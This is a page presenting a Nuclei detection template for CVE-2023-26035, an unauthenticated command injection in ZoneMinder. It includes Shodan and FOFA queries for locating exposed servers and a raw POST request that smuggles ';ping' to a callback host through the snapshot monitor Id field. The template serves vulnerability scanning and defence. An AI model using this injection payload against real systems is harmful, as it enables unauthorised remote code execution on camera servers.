Skip to content

ZoneMinder Snapshots - Command Injection

ID: CVE-2023-26035

Severity: critical

Author: Unblvr1,whotwagner

Tags: cve,cve2023,rce,zoneminder,unauth,packetstorm

ZoneMinder is a free, open source Closed-circuit television software application for Linux which supports IP, USB and Analog cameras.Versions prior to 1.36.33 and 1.37.33 are vulnerable to Unauthenticated Remote Code Execution via Missing Authorization. There are no permissions check on the snapshot action, which expects an id to fetch an existing monitor but can be passed an object to create a new one instead. TriggerOn ends up calling shell_exec using the supplied Id.

id: CVE-2023-26035
info:
name: ZoneMinder Snapshots - Command Injection
author: Unblvr1,whotwagner
severity: critical
description: |
ZoneMinder is a free, open source Closed-circuit television software application for Linux which supports IP, USB and Analog cameras.Versions prior to 1.36.33 and 1.37.33 are vulnerable to Unauthenticated Remote Code Execution via Missing Authorization. There are no permissions check on the snapshot action, which expects an id to fetch an existing monitor but can be passed an object to create a new one instead. TriggerOn ends up calling shell_exec using the supplied Id.
remediation: This issue is fixed in This issue is fixed in versions 1.36.33 and 1.37.33.
reference:
- https://www.rapid7.com/db/modules/exploit/unix/webapp/zoneminder_snapshots/
- https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr
- https://packetstormsecurity.com/files/175675/ZoneMinder-Snapshots-Command-Injection.html
- https://github.com/rvizx/CVE-2023-26035
- https://nvd.nist.gov/vuln/detail/CVE-2023-26035
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-26035
cwe-id: CWE-862
epss-score: 0.96928
epss-percentile: 0.99718
cpe: cpe:2.3:a:zoneminder:zoneminder:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: zoneminder
product: zoneminder
shodan-query:
- html:"ZM - Login"
- http.html:"zm - login"
fofa-query: body="zm - login"
tags: cve,cve2023,rce,zoneminder,unauth,packetstorm
flow: http(1) && http(2)
http:
- raw:
- |
GET /index.php HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: csrf_token
group: 1
regex:
- csrfMagicToken = \"(key:[a-f0-9]{40},\d+)
internal: true
- raw:
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
view=snapshot&action=create&monitor_ids[0][Id]=;ping+{{interactsh-url}}&__csrf_magic={{csrf_token}}
matchers:
- type: dsl
dsl:
- contains(interactsh_protocol, "dns")
# digest: 4a0a00473045022100b02a1a4197c5949dba17a281090db6059cf52417d948e1522f83f7a0c2d364ee02203930d92df326ba72ab008c15a8bb56e2a89ab4723e48996a0618de9e811ebfc6:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-26035.yaml"

View on Github